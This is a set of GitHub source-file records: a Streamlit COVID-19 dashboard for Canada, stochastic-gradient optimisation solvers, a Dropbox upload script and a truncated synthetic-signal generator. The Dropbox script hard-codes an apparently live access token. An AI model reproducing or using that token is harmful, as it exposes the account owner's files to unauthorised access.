Deaths by Province'})\r\n\r\n        # Add range slider\r\n        fig.update_layout(\r\n            xaxis=dict(\r\n                rangeselector=dict(\r\n                    buttons=list([\r\n                        dict(count=1,\r\n                             label=\"1 month\",\r\n                             step=\"month\",\r\n                             stepmode=\"backward\"),\r\n                        dict(count=3,\r\n                             label=\"3 month\",\r\n                             step=\"month\",\r\n                             stepmode=\"backward\"),\r\n                        dict(count=6,\r\n                             label=\"6 month\",\r\n                             step=\"month\",\r\n                             stepmode=\"backward\"),\r\n                        dict(count=1,\r\n                             label=\"Year to date\",\r\n                             step=\"year\",\r\n                             stepmode=\"todate\"),\r\n                        dict(count=1,\r\n                             label=\"1 year\",\r\n                             step=\"year\",\r\n                             stepmode=\"backward\"),\r\n                        dict(step=\"all\")\r\n                    ])\r\n                ),\r\n                rangeslider=dict(\r\n                    visible=True\r\n                ),\r\n                type=\"date\"\r\n            )\r\n        )\r\n\r\n        st.write(fig)\r\n\r\n    if rad == \"Pie Chart\":\r\n        st.markdown(\r\n            '##### Percentage of Reported Deaths in Canada by Province')\r\n        fig3 = px.pie(province_data, values=\"Cumulative_Deaths\",\r\n                      names=\"Province\", color_discrete_sequence=px.colors.sequential.Plasma_r)\r\n        st.write(fig3)\r\n\r\n\r\n# Recovered\r\nif selected == \"Recovered\":\r\n    st.title(\"Daily Recovered Report in Canada\")\r\n    st.markdown('##### Which Report You Want to See?')\r\n    rad = st.selectbox(\"\", [\r\n                       \"Daily Recovered\", \"Cumulative Recovered\"])\r\n    if rad == \"Daily Recovered\":\r\n        st.markdown('##### Daily Recovered Report in Canada')\r\n        st.markdown('###### Date Range')\r\n        e = st.date_input(\"From\", datetime.date(2020, 1, 25), min_value=(\r\n            datetime.date(2020, 1, 25)), max_value=(datetime.date.today()))\r\n        f = st.date_input(\"To\", min_value=(datetime.date(\r\n            2020, 1, 25)), max_value=(datetime.date.today()))\r\n        fig2 = px.bar(df, x='Date', y=\"DailyRecoveredCountry\", range_y=[\r\n            0, 60000], range_x=[e, f], labels={'DailyRecoveredCountry': 'Daily Recovered'})\r\n        fig2.update_layout(width=800)\r\n        st.write(fig2)\r\n        st.markdown('##### Daily Recovered Report in Canada by Province')\r\n        province_options = province_data['Province'].unique().tolist()\r\n        province_select = st.multiselect(\r\n            'Select Province', province_options, 'Alberta')\r\n        province_data = province_data[province_data['Province'].isin(\r\n            province_select)]\r\n        fig3 = px.line(province_data, x='Date', y=\"Daily_Recovered\", color=\"Province\", range_y=[\r\n            0, 35000], range_x=[e, f], labels={'Daily_Recovered': 'Daily Recovered by Province'})\r\n        fig3.update_layout(width=800)\r\n        st.write(fig3)\r\n    if rad == \"Cumulative Recovered\":\r\n        st.markdown('##### Cumulative Recovered Report in Canada by Province')\r\n        st.markdown('###### Date Range')\r\n        g = st.date_input(\"From\", datetime.date(2020, 1, 25), min_value=(\r\n            datetime.date(2020, 1, 25)), max_value=(datetime.date.today()))\r\n        h = st.date_input(\"To\", min_value=(datetime.date(\r\n            2020, 1, 25)), max_value=(datetime.date.today()))\r\n        fig2 = px.line(province_data, x='Date', y=\"Cumulative_Recovered\", color=\"Province\", range_y=[\r\n            0, 1110000], range_x=[g, h], labels={'Cumulative_Recovered': 'Cumulative Recovered by Province'})\r\n        fig2.update_layout(width=800)\r\n        st.write(fig2)\r\n\r\n\r\n# Testing\r\nif selected == \"Testing\":\r\n    st.title('Daily Testing Report in Canada')\r\n    st.markdown('##### Which Report You Want to See?')\r\n    rad = st.radio(\"\", [\r\n        \"Daily Testing\", \"Cumulative Testing\"])\r\n    if rad == \"Daily Testing\":\r\n        st.markdown('##### Daily Testing Report in Canada')\r\n        st.markdown('###### Date Range')\r\n        i = st.date_input(\"From\", datetime.date(2020, 1, 25), min_value=(\r\n            datetime.date(2020, 1, 25)), max_value=(datetime.date.today()))\r\n        j = st.date_input(\"To\", min_value=(datetime.date(\r\n            2020, 1, 25)), max_value=(datetime.date.today()))\r\n        fig2 = px.bar(df, x='Date', y=\"DailyTestingCountry\", range_y=[\r\n            0, 200000], range_x=[i, j], labels={'DailyTestingCountry': 'Daily Testing in Canada'})\r\n        fig2.update_layout(width=800)\r\n        st.write(fig2)\r\n        st.markdown('##### Daily Testing Report in Canada by Province')\r\n        province_options = province_data['Province'].unique().tolist()\r\n        province_select = st.multiselect(\r\n            'Select Province', province_options, 'Alberta')\r\n        province_data = province_data[province_data['Province'].isin(\r\n            province_select)]\r\n        fig3 = px.bar(province_data, x='Date', y=\"Daily_Testing\", color=\"Province\", range_y=[\r\n            0, 150000], range_x=[i, j], labels={'Daily_Testing': 'Daily Testing by Province'})\r\n        fig3.update_layout(width=800)\r\n        st.write(fig3)\r\n    if rad == \"Cumulative Testing\":\r\n        st.markdown('##### Cumulative Testing Report in Canada by Province')\r\n        province_options = province_data['Province'].unique().tolist()\r\n        st.markdown('###### Date Range')\r\n        k = st.date_input(\"From\", datetime.date(2020, 1, 25), min_value=(\r\n            datetime.date(2020, 1, 25)), max_value=(datetime.date.today()))\r\n        l = st.date_input(\"To\", min_value=(datetime.date(\r\n            2020, 1, 25)), max_value=(datetime.date.today()))\r\n        fig2 = px.line(province_data, x='Date', y=\"Cumulative_Testing\", color=\"Province\", range_y=[\r\n            0, 25000000], range_x=[k, l], labels={'Cumulative_Testing': 'Cumulative Testing Report'})\r\n        fig2.update_layout(width=800)\r\n        st.write(fig2)\r\n\r\n\r\n# Age Wise Data\r\nif selected == \"Age wise Data\":\r\n    st.markdown(\"\"\"\r\n    #  Age Distribution of COVID-19 Cases in Canada\r\n    We have detailed case report data from 3,284,725 cases. We know the age of patients in 99.96% of cases, and both age and gender in 99.70% of cases Of the cases reported in Canada so far, 52.7% were female and 36.7% were between 20 and 39 years old.\r\n    \"\"\")\r\n    ageData = pd.read_csv(\"Data\\datasetage.csv\")\r\n\r\n    ageData.columns = [\"Age group (years)\", \"Number of cases with case reports\", \"Percentage\", \"Number of male cases\", \"Number of female cases\"\r\n                       ]\r\n    st.markdown('##### Age Distribution by Number')\r\n    rad = st.radio(\"\", [\"Age\", \"Age by Gender\"])\r\n    if rad == \"Age\":\r\n        fig2 = px.bar(\r\n            ageData, x='Number of cases with case reports', y=\"Age group (years)\", color=\"Age group (years)\", color_discrete_sequence=px.colors.sequential.RdBu, orientation=\"h\", range_x=[0, 700000], labels={'Number of cases with case reports': 'Number'})\r\n        fig2.update_layout(width=800)\r\n        st.write(fig2)\r\n        st.markdown('##### Age Distribution by Percentage')\r\n        fig3 = px.pie(ageData, values=\"Number of cases with case reports\",\r\n                      names=\"Age group (years)\", color_discrete_sequence=px.colors.sequential.RdBu)\r\n        st.write(fig3)\r\n    if rad == \"Age by Gender\":\r\n        fig2 = px.bar(\r\n            ageData, x=[\"Number of male cases\", \"Number of female cases\"], y=\"Age group (years)\", orientation=\"h\", color_discrete_sequence=px.colors.sequential.RdBu, range_x=[0, 700000], labels={'value': 'Number'})\r\n        fig2.update_layout(width=800)\r\n        st.write(fig2)\r\n        st.markdown('##### Age Distribution by Percentage by Gender')\r\n        gender = st.radio(\"\", options=[\"Male\", \"Female\"])\r\n        if gender == \"Male\":\r\n            fig3 = px.pie(ageData, values=\"Number of male cases\",\r\n                          names=\"Age group (years)\", color_discrete_sequence=px.colors.sequential.RdBu)\r\n            st.write(fig3)\r\n        if gender == \"Female\":\r\n            fig4 = px.pie(ageData, values=\"Number of female cases\",\r\n                          names=\"Age group (years)\", color_discrete_sequence=px.colors.sequential.Plasma_r)\r\n            st.write(fig4)\r\n","repo_name":"SabrinaNasrin/Covid-19DataVisualization","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":14701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74651821769","text":"\"\"\"\nauthor: Fabian Schaipp\n\"\"\"\nfrom ..helper.utils import compute_batch_gradient_table, compute_xi_inner,\\\n                            stop_scikit_saga, derive_L, compute_fnat\n\nfrom .sgd import sgd_loop\nfrom .sparse.sparse_utils import create_csr                         \nfrom .sparse.prox_gd import sparse_svrg_epoch, sparse_saga_epoch, sparse_adagrad_epoch\n\nimport numpy as np                           \nimport time\nimport warnings\n\nfrom numba.typed import List\nfrom numba import njit\n\nfrom scipy.sparse.csr import csr_matrix\n\n\ndef vr_default_step_size(f, A):\n    \"\"\"\n    Default step size for SVRG/SAGA. Theoretical step sizes vary for different assumptions on (strong) convexity. See\n    - Bach, Defazio 2014: SAGA: A Fast Incremental Gradient Method With Support for Non-Strongly Convex Composite Objectives\n    - Sra, Reddi 2016: Proximal Stochastic Methods for Nonsmooth Nonconvex Finite-Sum Optimization\n    - Xiao Zhang 2014: A Proximal Stochastic Gradient Method with Progressive Variance Reduction\n    \n    For simplicity, we simply take as default step size\n    \n    alpha = 1/(3L)\n    \n    where L is a L-smoothness constant for all f_i(A_i .). This choice comes from Bach, Defazio 2014.\n    \n    \"\"\"\n                \n    normA_max =  (np.linalg.norm(A, axis = 1)**2).max()\n    L = derive_L(f) * normA_max\n    alpha = 1./(3*L)\n    \n    return alpha\n\ndef stochastic_gradient(f, phi, A, x0, solver = 'saga', tol = 1e-3, params = dict(), verbose = False, measure = False):\n    \"\"\"\n    fast implementation of first-order methods for problems of the form \n    \n    min 1/N * sum f_i(A_i x) + phi(x)\n    \n    * contains: SAGA, SVRG, AdaGrad, SGD\n    * works only if m_i = 1 forall i, i.e. one sample gives one summand!\n    * speedup achieved by numba, hence classes f and phi need to be jitted beforehand.\n    \n    \"\"\"\n    \n    name = solver.upper()\n        \n    # initialize all variables\n    n = len(x0)\n    assert np.all(f.m==1), \"These implementations are restricted to the case m_i = 1, use SNSPP if not the case\"\n    N = len(f.m)\n    assert n == A.shape[1], \"wrong dimensions\"\n    \n    # check whether A is in sparse format\n    if isinstance(A, csr_matrix):\n        sparse_format = True\n    else:\n        sparse_format = False\n\n    \n    x_t = x0.copy().astype('float64')\n    \n    if 'n_epochs' not in params.keys():    \n        params['n_epochs'] = 50\n    \n    #########################################################\n    ## Solver dependent parameters\n    #########################################################\n    \n    if solver == 'saga':\n        if 'reg' not in params.keys():    \n            params['reg'] = 0.\n        \n    if solver in ['saga', 'svrg']:\n        if 'measure_freq' not in params.keys():\n            # one means measure once per epoch\n            # higher means higher frequency \n            params['measure_freq'] = 1\n        else:\n            assert params['measure_freq'] >= 1\n    \n    elif solver == 'adagrad':\n        if 'delta' not in params.keys():    \n            params['delta'] = 1e-12\n           \n    elif solver == 'sgd':\n        if 'beta' not in params.keys(): \n            params['beta'] = 0.51\n    \n    #########################################################\n    ## Batch size\n    #########################################################\n    if solver in ['adagrad', 'svrg', 'sgd', 'batch-saga']:\n        if 'batch_size' not in params.keys():    \n            params['batch_size'] = max(int(f.N * 0.005), 1)\n        \n        if solver == 'svrg':\n            m_iter = int(N/params['batch_size']) \n            \n    #########################################################\n    ## Step size \n    #########################################################\n    if 'alpha' not in params.keys():\n        if solver in ['adagrad', 'sgd']:\n            alpha = 1e-3\n        else:\n            if not sparse_format:\n                alpha = vr_default_step_size(f, A)\n            else:\n                alpha = 1e-3\n                \n        warnings.warn(f\"Using a default step size of {alpha}. This may lead to divergence (if too big) or slow convergence (if too small). You can provide a step size via params[\\\"alpha\\\"].\")\n\n    else:\n        alpha = params['alpha']\n                      \n    alpha = np.float64(alpha)  \n    \n    if verbose :\n        print(f\"Step size of {solver}: \", alpha)\n       \n    #########################################################\n    ## Main loop\n    #########################################################\n    start1 = time.time()\n    \n    if solver == 'saga':\n        # run SAGA with batch size 1\n        x_t, x_hist, runtime, step_sizes, eta  = saga_loop(f, phi, x_t, A, N, tol, alpha, params['n_epochs'], params['reg'], params['measure_freq'], sparse_format)     \n    #elif solver == 'batch-saga':\n    #    x_t, x_hist, runtime, step_sizes, eta  = batch_saga_loop(f, phi, x_t, A, N, tol, alpha, gradients, params['n_epochs'], params['batch_size'])\n    elif solver == 'svrg':\n        x_t, x_hist, runtime, step_sizes, eta  = svrg_loop(f, phi, x_t, A, N, tol, alpha, params['n_epochs'], params['batch_size'], m_iter, params['measure_freq'], sparse_format)\n    elif solver == 'adagrad':\n        x_t, x_hist, runtime, step_sizes, eta  = adagrad_loop(f, phi, x_t, A, N, tol, alpha, params['delta'] , params['n_epochs'], params['batch_size'], sparse_format)\n    elif solver == 'sgd':\n        x_t, x_hist, runtime, step_sizes, eta = sgd_loop(f, phi, x_t, A, N, tol, alpha, params['beta'], params['n_epochs'], params['batch_size'])\n    #elif solver == 'tick-svrg':\n    #    assert sparse_format\n    #    x_t, x_hist, runtime, step_sizes, eta  = solve_with_tick(f, phi, A, alpha, params['n_epochs'], tol, verbose)\n    else:\n        raise NotImplementedError(\"Not a known solver option!\")\n    \n    end1 = time.time()\n    \n    if verbose:\n        print(f\"{name} main loop finished after {end1-start1} sec\")\n    \n    #########################################################\n    x_hist = np.vstack(x_hist)\n    n_iter = x_hist.shape[0]\n        \n    # evaluate objective at x_t after every epoch\n    obj = list()\n    fnat = list()\n    if measure:\n        for j in np.arange(n_iter):\n            obj.append(f.eval(A @ x_hist[j,:]) + phi.eval(x_hist[j,:]))\n            fnat.append(compute_fnat(f, phi, x_hist[j,:], A))\n        \n    \n    # compute number of gradient evaluations retrospectively\n    # one entry in x_hist marks one epoch for all solvers (SVRG has full gradient additionally)\n    num_eval = np.ones(n_iter)\n    if solver == 'svrg':\n        num_eval *= 2.\n    \n    if eta > tol:\n        status = 'max iterations reached'\n    else:\n        status = 'optimal'\n        \n    if verbose:\n        print(f\"{name} terminated during epoch {n_iter} with tolerance {eta}\")\n        print(f\"{name} status: {status}\")\n    \n    info = {'objective': np.array(obj), 'iterates': x_hist, \\\n            'step_sizes': np.array(step_sizes), \\\n            'runtime': np.array(runtime), 'evaluations': num_eval,\n            'fnat': np.array(fnat)}\n    \n        \n    return x_t, info\n\n#%%\ndef saga_loop(f, phi, x_t, A, N, tol, alpha, n_epochs, reg, measure_freq, sparse_format):\n    \n    # initialize for diagnostics\n    runtime = List()\n    x_hist = List()\n    step_sizes = List()\n    \n    # sparse format\n    if sparse_format:\n        A_csr = create_csr(A)\n        \n    eta = 1e10\n    x_old = x_t\n    \n    s0 = time.time()\n    gradients = compute_xi_inner(f, A@x_t)\n    g_sum = (1/N) * (A.T @ gradients)\n    e0 = time.time()\n    \n    # measure_freq = how many measurements per epoch\n    loop_length = int(N/measure_freq)\n    max_iter = int(N*n_epochs/loop_length)\n    \n    for iter_t in np.arange(max_iter):\n        \n        if eta <= tol:\n            break\n        \n        if sparse_format:\n            start = time.time()\n            x_t, g_sum = sparse_saga_epoch(f, phi, x_t, A_csr, N, alpha, gradients, reg, g_sum, loop_length)\n            end = time.time()\n        else:    \n            start = time.time()\n            x_t, g_sum = saga_epoch(f, phi, x_t, A, N, alpha, gradients, reg, g_sum, loop_length)\n            end = time.time()\n    \n        if iter_t == 0:\n            runtime.append(end-start+e0-s0)\n        else:\n            runtime.append(end-start)\n            \n        eta = stop_scikit_saga(x_t, x_old)\n        x_old = x_t\n            \n        x_hist.append(x_t)\n        step_sizes.append(alpha)\n        \n    return x_t, x_hist, runtime, step_sizes, eta\n\n@njit()\ndef saga_epoch(f, phi, x_t, A, N, alpha, gradients, reg, g_sum, loop_length):\n        \n    for iter_t in np.arange(loop_length):\n                     \n        # sample, result is int!\n        j = np.random.randint(low = 0, high = N, size = 1)[0]\n        \n        # compute the gradient, \n        A_j = A[j,:]\n        new_g_j =  f.g(np.dot(A_j, x_t), j)\n        \n        g_j = gradients[j]\n        g_j_diff = A_j * (new_g_j - g_j) \n        \n        w_t = (1 - alpha*reg)*x_t - alpha*(g_j_diff + g_sum)\n        \n        # store new gradient\n        gradients[j] = new_g_j\n        g_sum += (1/N)*g_j_diff\n        \n        # compute prox step\n        x_t = phi.prox(w_t, alpha)\n        \n    return x_t, g_sum\n    \n\n#%%\n\ndef adagrad_loop(f, phi, x_t, A, N, tol, alpha, delta, n_epochs, batch_size, sparse_format):\n    \n    # initialize for diagnostics\n    x_hist = List()\n    runtime = List()\n    step_sizes = List()\n    \n    # sparse format\n    if sparse_format:\n        A_csr = create_csr(A)\n        \n    eta = 1e10\n    x_old = x_t\n    \n    n = len(x_t)\n    G = np.zeros(n)\n    \n    epoch_iter = int(N/batch_size)\n    \n    for iter_t in np.arange(n_epochs):\n        \n        if eta <= tol:\n            break\n        if sparse_format:\n            start = time.time()\n            x_t, G = sparse_adagrad_epoch(f, phi, x_t, A_csr, N, alpha, delta, epoch_iter, batch_size, G)\n            end = time.time()\n        else:\n            start = time.time()\n            x_t, G = adagrad_epoch(f, phi, x_t, A, N, alpha, delta, epoch_iter, batch_size, G)\n            end = time.time()\n        \n        # stop criterion (at end of each epoch)\n        eta = stop_scikit_saga(x_t, x_old)\n        x_old = x_t\n        \n        x_hist.append(x_t)\n        runtime.append(end-start)\n        step_sizes.append(alpha)\n\n    return x_t, x_hist, runtime, step_sizes, eta\n\n@njit()\ndef adagrad_epoch(f, phi, x_t, A, N, alpha, delta, epoch_iter, batch_size, G):\n    for j in np.arange(epoch_iter):\n        # sample\n        S = np.random.randint(low = 0, high = N, size = batch_size)\n        #S = np.random.choice(a = np.arange(N), size = batch_size, replace = True)\n        \n        # mini-batch gradient step\n        A_S = A[S,:]\n        G_t = (1/batch_size) * (A_S.T @ f.g(A_S@x_t, S))\n        G += G_t * G_t\n        \n        L_t = (1/alpha) * (delta + np.sqrt(G))\n        \n        w_t = x_t - (1/L_t) * G_t\n        \n        # compute Adagrad prox step\n        x_t = phi.adagrad_prox(w_t, L_t)\n\n    return x_t, G\n\n#%%\n\ndef svrg_loop(f, phi, x_t, A, N, tol, alpha, n_epochs, batch_size, m_iter, measure_freq, sparse_format):\n    \n    # initialize for diagnostics\n    x_hist = List()\n    runtime = List()\n    step_sizes = List()\n    \n    # sparse format\n    if sparse_format:\n        A_csr = create_csr(A)\n    \n    eta = 1e10\n    x_old = x_t\n    \n    S_iter = int(n_epochs*N / (batch_size*m_iter))\n    \n    assert m_iter >= measure_freq, \"measuring frequency is too high\"\n    loop_length = int(m_iter/measure_freq)\n    \n    for s in np.arange(S_iter):\n        \n        if eta < tol:\n            break\n        \n        s0 = time.time()\n        xis = compute_xi_inner(f, A@x_t)\n        full_g = (1/N) * (A.T @ xis)\n        e0 = time.time()\n\n        # split up one inner lop in measure_freq parts        \n        for j in np.arange(measure_freq):   \n            \n            if sparse_format:\n                s1 = time.time()\n                x_t = sparse_svrg_epoch(f, phi, x_t, A_csr, N, alpha, batch_size, loop_length, xis, full_g)\n                e1 = time.time()\n            else:    \n                s1 = time.time()\n                x_t = svrg_epoch(f, phi, x_t, A, N, alpha, batch_size, loop_length, xis, full_g)\n                e1 = time.time()\n                \n            # store\n            x_hist.append(x_t)    \n            if j == 0:\n                runtime.append(e1-s1+e0-s0)\n            else:\n                runtime.append(e1-s1)\n        \n        # stop criterion\n        eta = stop_scikit_saga(x_t, x_old)\n        x_old = x_t\n        step_sizes.append(alpha)    \n\n    return x_t, x_hist, runtime, step_sizes, eta\n\n@njit()\ndef svrg_epoch(f, phi, x_t, A, N, alpha, batch_size, loop_length, xis, full_g):\n    \n    for t in np.arange(loop_length):\n            \n        # np.random.choice is slower than np.random.randint \n        #S = np.random.choice(a = np.arange(N), size = batch_size, replace = True)\n        S = np.random.randint(low = 0, high = N, size = batch_size)\n        \n        # compute the gradient\n        A_S = A[S,:]\n        v_t = f.g(A_S@x_t, S)\n        g_t = (1/batch_size) * A_S.T @ (v_t - xis[S]) + full_g\n\n        w_t = x_t - alpha*g_t\n        x_t = phi.prox(w_t, alpha)\n        \n    return x_t\n        \n#%%\n# @njit()\n# def batch_saga_loop(f, phi, x_t, A, N, tol, alpha, gradients, n_epochs, batch_size):\n    \n#     # initialize for diagnostics\n#     x_hist = List()\n#     step_sizes = List()\n    \n#     eta = 1e10\n#     x_old = x_t\n#     g_sum = (1/N)*gradients.sum(axis = 0)\n    \n#     max_iter = int(N * n_epochs/batch_size)\n#     counter = np.arange(max_iter)*batch_size/N % 1\n#     counter = np.append(counter,0)\n    \n#     store = (counter[1:] <= counter[:-1])\n#     assert store[-1]\n    \n#     for iter_t in np.arange(max_iter):\n        \n#         if eta <= tol:\n#             break\n             \n#         # sample\n#         #S = np.random.choice(a = np.arange(N), size = batch_size, replace = True)\n#         S = np.random.randint(low = 0, high = N, size = batch_size)\n#         S = np.sort(S)\n        \n#         # compute the gradient\n#         batch_g = compute_batch_gradient_table(f, A, x_t, S)\n#         batch_g_sum = batch_g.sum(axis=0)\n        \n#         g_j = gradients[S,:].sum(axis=0)\n#         old_g = (-1/batch_size) * g_j + g_sum\n        \n#         w_t = x_t - alpha * ((1/batch_size)*batch_g_sum + old_g)\n        \n#         # store new gradient\n#         gradients[S,:] = batch_g\n#         g_sum = g_sum - (1/N)*g_j + (1/N)*batch_g_sum\n        \n#         # compute prox step\n#         x_t = phi.prox(w_t, alpha)\n        \n#         # stop criterion\n#         if store[iter_t]:\n#             eta = stop_scikit_saga(x_t, x_old)\n#             x_old = x_t\n            \n#         # store everything (at end of each epoch)\n#         if store[iter_t]:\n#             x_hist.append(x_t)\n#             step_sizes.append(alpha)\n        \n#     return x_t, x_hist, step_sizes, eta\n\n\n\n","repo_name":"fabian-sp/snspp","sub_path":"snspp/solver/fast_gradient.py","file_name":"fast_gradient.py","file_ext":"py","file_size_in_byte":14830,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"1133307860","text":"import dropbox\r\n\r\nclass TransferData:\r\n    def __init__(self, access_token):\r\n        self.access_token = access_token\r\n\r\n    def upload_file(self, file_from, file_to):\r\n        \"\"\"upload a file to Dropbox using API v2\r\n        \"\"\"\r\n        dbx = dropbox.Dropbox(self.access_token)\r\n\r\n        with open(file_from, 'rb') as f:\r\n            dbx.files_upload(f.read(), file_to)\r\n\r\ndef main():\r\n    access_token = 'sl.A2OixFJeOHT9gR8Yc8ZwR4WIugMoGyqvJcsa5qJQTYyKx-DrcgFAGdsVH10_vL5dE6p52cgVtWZgYxWz-zsvCwyxd1rjKRkR86w-aYyd4cUZ5UPx5QUzgMGKsOUwQUqBpWk2pio'\r\n    transferData = TransferData(access_token)\r\n\r\n    file_from = input(\"enter the file path to transfer\")\r\n    file_to = input(\"enter the full path to upload to dropbox\")  # The full path to upload the file to, including the file name\r\n\r\n    # API v2\r\n    transferData.upload_file(file_from, file_to)\r\n    print(\"file has been uploaded\")\r\n\r\n\r\nmain()","repo_name":"rashika01/class101","sub_path":"cloud.py","file_name":"cloud.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29155791057","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport pickle\nimport random as rand\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import fft\nimport scipy.stats as st\nimport time\nimport sys\nimport os\n\n\n\n\n######################################################\npath = \"D:\\\\MsC AI\\\\1st year\\\\2nd semester\\\\3rd period\\\\Project AI\\\\Data\\\\Signal Processing Data\\\\\"\nfile_name = 'pure_signal_extraction_data.mem'\n\n\n# In[13]:\n\n########################\n# HARD CODED VARIABLES #\n########################\nSAMPLING_RATE = 128 # Approximated value, as sometimes the device misses some recordings\n\nSTIMULUS_DURATION_IN_MINUTES = 30\nSTIMULUS_DURATION = STIMULUS_DURATION_IN_MINUTES*60\n\nSIGNAL_SIZE = SAMPLING_RATE*STIMULUS_DURATION\nTIME_STEP = np.arange(SIGNAL_SIZE)\n\nSAMPLE_SIZE = 50\nSAMPLE_OVERLAP = 0.5\n\nFINAL_NUMBER_OF_SAMPLES = SIGNAL_SIZE/(SAMPLE_SIZE*SAMPLE_OVERLAP) - 1\n\nMAX_AMPLITUDE = 50\nMAX_USUAL_FREQUENCY = 45\n\nNUMBER_OF_TRAINING_INSTANCES = 2\n########################\n########################\n\n\n# In[6]:\n\ndef ass(tail_weigth = .05):\n    if np.random.rand() > tail_weigth:\n        return np.random.rand()*MAX_USUAL_FREQUENCY\n    x = abs(np.random.normal())\n    while st.norm.sf(x)>tail_weigth:\n        x = abs(np.random.normal())\n    return 60 + x - st.norm.ppf(1-tail_weigth)\n\ndef extract_from_ass(num_samples, tail_weigth = .05):\n    return np.array([ass(tail_weigth) for _ in range(num_samples)])\n\n\n# In[8]:\n\ndef generate_pure_signal(initial_frequencies, initial_amplitude, initial_phases, training_instance_number):\n    \n    FREQUENCY_CHANGE_TIME_STEP = 20\n    \n    frequencies = list(initial_frequencies)\n    amplitudes = list(initial_amplitude)\n    phases = list(initial_phases)\n    \n    pure_signal = []\n    \n    for current_time_step in TIME_STEP:\n        if(current_time_step%FREQUENCY_CHANGE_TIME_STEP == 0 and current_time_step != 0):\n            index_to_replace = rand.randint(0, len(frequencies) - 1)\n            frequencies[index_to_replace] = ass()\n            amplitudes[index_to_replace] = rand.uniform(0, MAX_AMPLITUDE)\n            phases[index_to_replace] = rand.uniform(0, 2*np.pi)\n            \n            #CHANCE OF ADDING NEW RANDOM FREQUENCIES ----> 5% chance\n            if(rand.uniform(0, 1) < 0.05):\n                for i in range(rand.randint(0, 1)):\n                    frequencies.append(ass())\n                    amplitudes.append(rand.uniform(0, MAX_AMPLITUDE))\n                    phases.append(rand.uniform(0, 2*np.pi))\n                    \n            #CHANCE OF REMOVING A RANDOM FREQUENCY ----> 5% chance\n            if(rand.uniform(0, 1) < 0.05 and len(frequencies) > 1):\n                for i in range(rand.randint(0, 1)):\n                    index_to_remove = rand.randint(0, len(frequencies) - 1)\n                    frequencies.pop(index_to_remove)\n                    amplitudes.pop(index_to_remove)\n                    phases.pop(index_to_remove)\n                    \n        current_value = 0\n        for j, frequency in enumerate(frequencies):\n                current_value += amplitudes[j]*np.sin(phases[j] + 2*np.pi*frequency*current_time_step)\n        \n        pure_signal.append(current_value)\n        \n        if(current_time_step%5 == 0 or current_time_step == TIME_STEP[-1]):\n            print(\"\\rGenerating Pure Signal. Generated \" +\n                  str('{:0.5f}').format(100*(current_time_step)/TIME_STEP[-1]) + \"% of training instance \" + \n                 str(training_instance_number) + \" of \" + str(NUMBER_OF_TRAINING_INSTANCES) + \".\", end=\"\")\n        \n    return pure_signal\n\n\n# In[150]:\n\ndef add_noise(pure_signal, training_instance_number, percentage_to_drop = .15):\n    AMPLITUDE_CHANGE_TIME_STEP = 10\n    MAX_ELECTRICAL_AMPLITUDE = 1 * MAX_AMPLITUDE\n    \n    # PHASE OF ELECTRICAL SIGNAL SHOULDN'T CHANGE\n    RANDOM_PHASE = rand.uniform(0, 2*np.pi)\n    \n    frequency = 50\n    amplitude = rand.uniform(MAX_AMPLITUDE/2, MAX_AMPLITUDE)\n    \n    noisy_signal = list(pure_signal)\n    \n    # ADD NOISE AT 50Hz!!!\n    for current_time_step in TIME_STEP:\n        if(current_time_step%AMPLITUDE_CHANGE_TIME_STEP == 0 and current_time_step != 0):\n            amplitude = rand.uniform(MAX_ELECTRICAL_AMPLITUDE/2, MAX_ELECTRICAL_AMPLITUDE)\n        \n        noisy_electrical_frequency = np.random.normal(frequency, frequency*0.05)\n        noisy_signal[current_time_step] += amplitude*np.sin(RANDOM_PHASE + 2*np.pi*noisy_electrical_frequency*current_time_step)\n        current_val = noisy_signal[current_time_step]\n        noisy_signal[current_time_step] += np.random.normal(current_val, abs(current_val)*0.4)\n    \n        if(current_time_step%5 == 0 or current_time_step == TIME_STEP[-1]):\n            print(\"\\rAdding Noise. Noised \" +\n                  str('{:0.5f}').format(100*(current_time_step)/TIME_STEP[-1]) + \"% of training instance \" + \n                 str(training_instance_number) + \" of \" + str(NUMBER_OF_TRAINING_INSTANCES) + \".\", end=\"\")\n    \n    elements_to_drop = sorted(rand.sample(range(SIGNAL_SIZE), int(SIGNAL_SIZE*percentage_to_drop)), key=int)\n    \n    print(\"\\rAdding Noise. Randomly Dropping Samples of training instance \" + \n                 str(training_instance_number) + \" of \" + str(NUMBER_OF_TRAINING_INSTANCES) + \".\", end=\"\")\n    \n    for index in sorted(elements_to_drop, reverse=True):\n        del noisy_signal[index]\n        \n    return noisy_signal\n\n\n# In[148]:\n\ndef estimate_noisy_signal_missing_values(noisy_signal, training_instance_number):\n    \n    no_missing_noisy_signal = [-1]*SIGNAL_SIZE\n    \n    ordered_indices = sorted(rand.sample(range(1, len(no_missing_noisy_signal)-1), len(noisy_signal)-2), key=int)\n    \n    no_missing_noisy_signal[0] = noisy_signal[0]\n    no_missing_noisy_signal[-1] = noisy_signal[-1]\n    for i, index in enumerate(ordered_indices):\n        no_missing_noisy_signal[index] = noisy_signal[i+1]\n    \n    for index, val in enumerate(b):\n        if(val == -1):\n            no_missing_noisy_signal[index] = (no_missing_noisy_signal[index-1]+no_missing_noisy_signal[index+1])/2\n        if(index%5 == 0 or index == len(b) - 1):\n            print(\"\\rEstimating Signal's Missing Values. Estimated \" +\n                  str('{:0.5f}').format(100*(index+1)/len(b)) + \"% of training instance \" + \n                 str(training_instance_number) + \" of \" + str(NUMBER_OF_TRAINING_INSTANCES) + \".\", end=\"\")\n    \n    \n    return no_missing_noisy_signal\n\n\n# # DATA CREATION SECTION\n\n# In[ ]:\n\ndef create_data():\n    \n    if os.path.exists(path + file_name):\n        append_write = 'ab' # append if already exists\n    else:\n        append_write = 'wb' # make a new file if not\n    \n    with open(path + file_name, append_write) as output_file:\n        for i in range(NUMBER_OF_TRAINING_INSTANCES):\n            INITIAL_NUMBER_OF_FREQUENCIES = rand.randint(1, 4)\n\n            initial_frequencies = []\n            initial_amplitudes = []\n            initial_phases = []\n\n            for j in range(INITIAL_NUMBER_OF_FREQUENCIES):\n                initial_frequencies.append(ass())\n                initial_amplitudes.append(rand.uniform(0, 